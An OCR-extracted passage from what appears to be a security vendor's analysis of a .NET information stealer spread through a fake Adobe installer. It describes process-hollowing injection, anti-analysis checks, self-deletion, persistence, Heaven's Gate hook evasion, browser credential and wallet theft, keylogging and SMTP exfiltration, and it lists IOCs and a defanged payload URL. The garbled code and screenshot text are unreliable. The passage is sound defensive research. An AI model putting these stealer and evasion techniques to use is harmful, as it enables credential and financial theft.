,10,2,14,%,125,10,0,0, ﬂ,?,14,13,125,11,3,3,1:,12,19,43,3,“ 21 1, ,1,0,0,17 3 117,1,0,0,27,10,2,6,59%,5,1,0

F/g 15: ExecutlonPaonad
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So what is going on in this decrypted script file?

The script first checks if Aspnet_compiler.exe is running, if it does it silently lets it continue
running, otherwise it creates the process Aspnet_compiler.exe.

It decodes the base64 encoded dll named BLACKHAWK.dIl and loads it into .NET CLR memory
region to evade detection.

This BLACKHAWK.dII is an Injector. This dI's SHOOT method injects the binary stored in the
variable ‘ExecutionPayload’ into Aspnet_compiler’s memory region.

If we look at the first 2 comma separated values in the variable ‘ExecutionPayload’ we can see
their corresponding ASCII values are M and Z which is the magic number for a PE file.

So we can conclude that a PE file has been injected into Aspnet_compiler.exe’s memory region.
Now we will check if this is actually the case.

First things first, we set up a controlled environment and get tools like ‘hollows_hunter’ and
‘ProcDump’ website. Parallely run ProcessExplorer and ProcessMonitor.

Keeping all the above mentioned tools running in the background except ProcDump as we do
not need it for monitoring, we can execute the script happily.

First thing that we see is a process Aspnet_compiler.exe is created. We note down the PID of
Aspnet_compiler.exe. ‘hollows_hunter’ lists out all the PIDs for which injection has been made
and we can see our Aspnet_compiler.exe PID is one of them. It saves its findings in a log file.
The combined screenshot of the log and the process is shown in Fig 16.

-
{ A dEdEnIOE|F 5 b = <Filter by nome=
“pid® @ 13588, N e
“output_dir” @ "process_135887, = o W,% et wf i i
- W1 gty TAIZK A3BEK 0B
K W stem e Prscmss 36 WK B0
{ B St | 196 K 122K i
"ratal” 1, § 7 ampn e oK OF  nn Harhess ntenpte and DFCE
“dumpad™ : 1 | wray =ue 1084 K E5FK 404 Windows Session Mansger  Microaoh Comporsion
i} ! Merscry Comprmsan <00 44EEK  13REEE IR
“dumps™ : [ T carms ecm 20K 560K B Cherd Server Fursime Frocess Micraoh Corporston
e ] <0 06K TIEK 736 Chart Server Fursims Frocess Microash Coperston
. R . T v ean 14EK SETEK  7SE Windows Stri-Up Sppiceson Micrsach Coparston
By . i fl i ¥ porvoegon mos ZTEE ZIME  BIE Windows Logon Applcaion  Mhcrowcht Coporaton
“madule_size” @ he@0d”, 5 [ borickhost ave L2DK ATEK 54 Upsrrode Ford [ Host  Microwoll Carpersion
dusp_file™ : "4D30A0.Aspnel_compller.exe”, Tt o s 163404 K B4ESEK 1152 Deskion Window Mansger  Micrsaoh Compersten
_dump_mode” : “UNMAPFED", " S| mm omEER IDTK M WedwaBler  MesehCopesen
is_shelleode” : @, are 1756 K EEVGK 5034 Windows Securty nolficeio... Microsoll Coporsion
"status" : 1 1) P HG U1ES mon 560K T AIEE I54E Flawted HO fuco Mareger  Fisslieh Sersconducior
);  REVEEd s <0 45K 1230EK  J43E HD Aurdc Backgrmund Froc . Fisaliek Sersconebucior
1 - WoreenSucEd mme BSTEK 5137 K EZ20 Waven Maxfurks Service . Wlaves Aucio Lid
 CFF Exphoses sm ZRK 5360K 5664 Comnon Fle Formst Gxploms  Drsel Pitel
£ S A -t bt i I UTF-8 ! Vetualior <0 3K TEEEE 1508 WebulBox Marager Oracle ard et alikmlen.
= = — ' o i (&) chrome s <00 1ITERD K 157504 K Hi13E Geogin Dvorsa Googl LLC
W3 report json |1 scan_repartjson & 3 3 procenpid ane = SHESEK TG 3238 Symedemals Process Explosr  Sysnimmals - s sysrder
[ =) ™ P =1 rteced ane IEEK 760K 5212 Molepad Hicreach Coporsion
| i e wam ZEIEK 2364 3672 Windows Comrmand Frocsmor Micrsaoh Corprsten
) perfmon s 07% BESE0K Z2T4 K 1354E Rescurse and Padomance . Micrmaoh Copersten
B Fromznil me «0m 1ZEEN K SEDIEK  S52 Frecess Morder Syartemals - s myarder
o ot ades e 480K S01S0K  BESE Molspades Don HD don hiSfrea
¥ g Tedl ane k] L10EK HINE BT Spng Ted Hcrzach Coponsion
o 2THK ITEEK |
| ZMEK BIZEK
Al | oo 1N4EK WESEK
] FRIVATE®, w Pl 0®  MENK  TEOK
= Munflotyioon oe ISEK EEEH 1916 o Mhorzacht Corperaten
T | gl _gsapier I7TMEEK TR0 K NIE30 sipral _corpdir o Mecrzaoht Coporaten |
pre=p— EFZAT FOOER EE12 Mok [r—p————

Fig 16: log file by ‘hollows_hunter’

ProcessMonitor shows the following behavior as shown in Fig 17.
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W Aspet_compile... 8616 T TCP Send 50759 -> 149154167 220 Hitps

W Aspret_compile 8616 LI TCP Send 50750 - 149 154.167 220 tips

W Aspnet_compile... 8516 L TCP Receive 50759 -> 149,154,167 220 hitps

 Aspnet_compile. 8616 L TCP Feceive 50750 - 149 154,167 220Httms

W Aspnet_compile.. 8616 1 TCP Disconnect 50759 -> 149.154.167 220 hips

W Aspret_compile... 8516 (1) SetDispostionl... " Sadd 1426hf Zaeald3acoe Bal9325e 0 Chromium_cookies_Tigress_2025-12-10_03.55.35 json
W Aspret_complle... 8516 (73)Set Dispostionl... \Badd1428bf ZaealE3acce Bal3325e 0N Chromium_credi_cards_Tigress_2025-12-10_03.56.35 1
& Aspnet_comgile... 8616 (75)5SetDispostion.. "\Sadd 1426k Zacal83acoe Boal9325e 0 Chromium_passwords_Tigress_2025-12:10_03,56 35 b
W Aspret_complle. 8616 (73 Set Dispostionl... \Badd1428bf Zaeald3acce Bal9325e 0\ FleZils_Tigress_2025-12-10_03.56 374

W Aspret_compile... BE16 (7 Set Dispostionl... "Sadd1426hf Zaeal3acoc Bal9325e 0 Gecko_cookies_Tigress_2025-12-10_03 56,36 json

W Aspnet_comple.. 8616 () SetDispostionl... "5add1426bf 282308 dacoc Ba09325 0N Gecko_credt_cands_Tigress_2025-12-10_03.56 365¢
& Aspnet_compile.. 8616 (73] Set Dispostionl... \Badd1428bf 2aeal83acoc Bal9325e N Gecko_passwords_Tigress_2025-12-10_03.56.36.bt
W Aspret_compile.. 8616 LY TCP Connect 50760 -> 104.16.184 241 etp

W Aspnet_compile.. B616 ' TCP Send 50760 -> 104.16.184.241 hetp

® Aspret_compile... 8616 L TCP Flecsive 50760 -> 104.16.184 241 nitp

W Aspret_compile... 8616 L TCP Disconnect 50760 -> 104.16.184.241ttp

& Aspret_compile... 8616 [ TCP Connedt 50761 -> 149.154.167 220 hitps

Fig 17: Script behavior

Some interesting behavior included its repeated TCP connections and the temp files created for
exfiltration are deleted.

This type of file names are common in stealers.

‘hollows_hunter’ usually dumps memory regions for injected processes but unfortunately it could
not dump it in our case. So we had to rather use ‘ProcDump’ and dump the whole process
memory of Aspnet_compiler.exe. After analyzing the dump we could find a PE file within. We did
some careful extraction of this file from the dump so that we could analyze it further. Fig 18 left
side shows the payload as is in memory and right side shows it after the reconstruction of the
PE.

File Info - [Payloaded loaded in memory] — i X File Info - [Payloaded loaded in memaory_2] - [m] X
Property Value Property Value e
File Name Payloaded loaded in memory File Mame Payloaded loaded in memory_2
File Type Portable Executable 32 \NET Assembly File Type Portable Executable 32 .NET Assembly
File Info Me match found, File Info Microsoft Visual Studio NET
File Size 752.01 KB (770060 bytes) File Size T32.00 KB (749568 bytes)
PE Size 732.00 KB (745568 bytes) PE Size 732.00 KB (749568 bytes)
Created Thursday 06 Movernber 2025, 11.47.32 Created Thursday 06 Nevember 2025, 12.28.35
Modified Thursday 06 Movember 2025, 11.47.32 Modified Thursday 06 Movember 2025, 12.31.27
Accessed Thursday 06 Movember 2025, 17.34.11 MAccessed Thursday 06 Novernber 2025, 12.31.42
MD3 C2C1EBDEDFECZATCIAADABDTAZCACOTY MD3 05277TTDEDETDTBAS0346TEDST2FTAADT
SHA-1 TE2C54FBAAET19D5002472BCADTBAZFIT1308A0E SHA-1 | 147FAG2741511 AFD3FFBS0DERSE1DIBE6TEDI0BS v
| e e s e Y || < >
Property | value Property | Value A
Empty Mo additional info available Comments
CompanyMName
FileDescription Stub
FileVersion 1.0.00
InternalMame stub.exe
LegalCopyright Copyright @ 2025
LegalTrademarks
OriginalFilename stub.exe v
< L

Fig 18: Stealer payload

A VirusTotal lookup for this MD5 showed the first submission date for this file to somewhat
match the same date as that fake ‘Adobe 11.7.7 installer’.
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First Submission
Last Submission

Last Analysis

2025-10-27 13:45:37 UTC
2025-10-29 19:13:20 UTC
2025-10-31 03:08:18 UTC

Fig 19: Stealer first seen

CFF Explorer shows the .NET directory and its structures which indicates it is a .NET file. Also
the PE Characteristics shows it is an executable.

w' CFF Explorer VIl - [Payloaded loaded in memony_2] O x
File Settings ?
H @ Dabfci2a0aT8Ef 1 2a=d3cd0T o0 Payloaded loaded inmen 4 »* X
1N
Member Offset Size Value i
& H'E:;a’i“m loaded in me1| = |\ 1 achine 00000084 Word 014C Int
— (=] Dos Header MumberQfSections | 00000086 Waord 0003
= I'":'“J HFiT:iEEr: - TimeDateStamp 00000038 Dword C67E9624
= Optional Header PointerToSymbolTa... | 0000008C Dword 00000000
=] Data Directores [ NumberOfSymbols | 00000090 Dword 00000000
— (=] Section Headers [x]
— |2 Import Directary SizeOfOptionalHea... | 00000094 Word DOED
— | Resource Directory Characteristics 00000096 Word 0122 Cli
— |2 Relocation Directony
— | Debug Directory
-1 |20 NET Directary
=l MetaData Header
A =] MetaData Streams
EIF-u
=l Tables Header
Tables
— (=] #5tings
— (=] #US
— [=] #50ID
— (=] #Blob
— ‘j,ﬁdd‘ess Converter
— "1}_;, Dependency Walker - =

Fig 20: .NET stealer

Since itis a .NET we will load it into dnSpy and see if we can read its code.
On loading it in dnSpy, all its classes and method names are clearly visible as well as its code;
what catches our eye is its anti-analysis class.
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Fig 21: anti-analysis class method names

To determine if it is run under a controlled environment it matches the user name against a list
of usernames. It also checks the same usernames in its lowercase variants. Fig 22 shows few

out of 112 hardcoded usernames, Fig 23 shows the code to check lowercase invariants.

|| !Enumerable. < »{array);

erable. »{array, text);

Fig 23: Lowercase variants

The stealer checks all the components shown in the functions listed in Fig 21. Some more
examples are shown in Fig 24.
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Fig 24: Some more examples of AntiAnalysis

If we look closely we can see all these functions if matched returns a Boolean value. This value
is fetched by the main Function of the AntiAnalysis class. This function seeks the Boolean value
and if it is found to be true, invokes a function ‘Melt’. This function is part of the class
SelfDestruct as shown in Fig 25.
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s: Hosting detected! Self-destructing...”,

= process detected! Self-destructing...”,

ig 5: Main function for tiAnalysis

We will take a closer look at the ‘SelfDestruct’ class ‘Melt’ function.
As you can see in Fig 26, the function drops a GUID named batch file in the temp directory. It

then gets the current process ID and stores it into a variable. Now it starts writing a batch script.

It writes task kill PID whose objective is to perform self delete to erase its traces.

16/27



streamiriter. Wr

streamriter. . [ 1 /F { [(ey-, id));
streamiriter.

streamdriter. Wr

Fig 26: ‘melt’ function

Fig 27 shows that the stealer creates a Run entry for persistence.
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strykey registrykey
flag2 = registrykey !
(flag2)

(flag=)

", walue},

Fig 27: Persistence

It steals every bit of data available on the system. User credentials, credit card credentials,
crypto wallet credentials, wifi passwords, etc. We will discuss only a few of its functionalities.
We will start with some of its browser specific capabilities.
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"InjectionDesk

(UserDataPath, "Local State”

(UserDataPath);

ossiblelibraryPaths !=

libraryPath possibleLibraryPaths)

loundkey (UserDataPath, libraryPath);

¥

Fig 28: Browser master key

In Fig 28, the stealer extracts AES masterkey and app-bound private keys used for encryption
of data in browsers like Chromium, Edge, etc.

Previously we have discussed some anti-analysis techniques, now we will discuss its
usermode-hook evasion technique.

It uses a technique called Heaven'’s Gate, a technique where an x86 process running under
Windows WOWG64 switches to 64-bit mode by jumping into the 64-bit code segment. This allows
the process to execute 64-bit code or perform native x64 syscalls directly, bypassing the
WOW64 layer. Malware commonly uses this to access 64-bit execution paths from within a 32-
bit process and evade x86-based monitoring. This allows a malware to evade 32-bit user-mode
hooks. In Fig 29 we can see whether it is running 64bit. It attempts to create a duplicate usable
handle and this can be used in lower-level operations.

Fig 29: Heaven’s Gate initialization
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In Fig 30 we see that it allocates bytes from the process heap in unmanaged memory and
copies the stub and payload in the buffer. It makes the page executable by changing memory
protections. It then allocates and writes in unmanaged memory for native stub to read it and
passes the pointer to the beginning of the payload. The stub switches to x64 and jumps into the
payload.

(parameters) ;

Fig 30: Heaven’s Gate implementation

Now, let’s quickly go through some of the stealer functionalities and wind up our blog.
In Fig 31 it accesses network cookies of Chromium browser, decrypts them and stores them
into an array.
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[] array = utils

arser sgliLite3rarser;

sglLite3rParser =

sqliitezParser.ReadTa

value =
value?

value3 = sql

[]1 valuesd

values
flags -
(!flags)

list.

)
T
F,

result = list.

decryptor.

(value, value3, v e2, values, values, i cure, isHttponly));

Fig 31: Chromium cookies

In Fig 32 and 33 it fetches browser wallet details for Chrome and Edge and copies it to a

different location.

Fig 32: Browser wallets
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saveDirectory, walletDirectory, walletName )

result;

(walletDirectory);

(saveDirectory, walletMame, . (walletDirectory));
(text);

(walletDirectory, text);

e " + walletMame + "

sallet " + walletMame + ": +

Fig 33: Saves wallets

In Fig 34 we can see information like logins, credit cards are collected from Chromium browser.
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= {options &

sibleLibraryPaths);

text . (value})

profilePath

{profilePath, browserCrypto);

{profilePath, brows

Fig 34: Chromium browser stolen info

Fig 35 shows the stealers keylogging capability. It captures the keypresses, differentiates each
word by tracking ‘tab’, ‘space’, ‘return’ keys and saves it to a file.
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{ nCode , wWParam, 1Param}

flag = nCode »= @ && (wParam == )256 wParam == Y2ea);
(flag}

num = - (lParam) ;
Keys keys = (Keys)jnu
keystring = K

capturedeeys .. Add{keystring) ;
= keys == Keys. || keys == Keys. keys == Keys.

ookID, nCode, wParam, 1lParam);

Fig 35: Keylogger

Fig 36 shows data stolen from outlook which is stored with corresponding computer name and
time date stamp.

»{array, " current, dir) = current + Outlook. (dir, mailClients));

ter. F
text2 = Mow. ToString( "yyyy-MM-dd_HH.mm. 55
compname = SystemInfo. F
text3 = Paths. ();
(text3);
{ - (text3,

"Outlook =,
Ccompname,
text2,

«IXT

1), text + "\rin");

. Outlook




Here is a list of all the information stolen that were not covered earlier:

e Clipboard

o Desktop wallets

e Discord credentials

e Files on the system

o Filezilla credentials

e Fox mail accounts and credentials
o Firefox cookies, credit cards, etc.
o System Information (Fig 37)

o Wifi passwords.

CE00

Fig 37: System information stolen

Apart from these it also takes a screenshot every 1000ms interval.

Fig 38: Screenshot
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For the exfiltration of the collected data it uses various channels like SMTP, FTP protocols. It
also uses Telegram to upload the collected information as well as send logs through Discord
and Telegram. We will cover only SMTP here. Fig 39 shows how the file is sent over SMTP.

<UploadF

<UploadF

<UploadF

<UploadFil - - teUploadTosmtp. <UploadFilesAsyncyd_ 8>( <UploadFilesasyncxd__};
<UploadFilesAsync»d__

flag3
(flag3)

Fig 40: SMTP credentials

The SMTP credentials are stored into a base64 encoded value and hardcoded into a variable.
The DecryptConfig function shown in Fig 41 decodes the credentials.
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value)

(value};

flagz = Ivaluwe.startsWith("ENCRYPTE

(flag2)

result = value;

Fig 41: DecryptConfig

Protecting one’s Pll is crucial in this age of modern internet and Al. We at K7 Labs make it our
constant endeavor to find and protect our users from such threats. Although we do our best to
safeguard your system and privacy, it is very important as a user to be aware and interact with
the intended resources available on the internet.

Users are advised to use a reputable security product like K7 Antivirus software and maintain
cyber hygiene to stay safe from such threats.

I0Cs

File Name Hash

Adobe 11.7.7 Installer 01B397CBD39F7DD310CC1252B19DE411

floor.ps1 CCCDCBF3C3B6C16AB4743A1289327439

RC4 decrypted script F39EFF2188EE90A9CB48CE90AO9FEFB3

BLACKHAWK.dII 2BES5F6AFA114EE5607D88BC5AEECA4D32

Phantom 3.5 stealer  052777DBDE7D784903467EDS72F7AAD7

Urls

hxxpl[:}//positivepay-messages.com/file/floor[.]ps1
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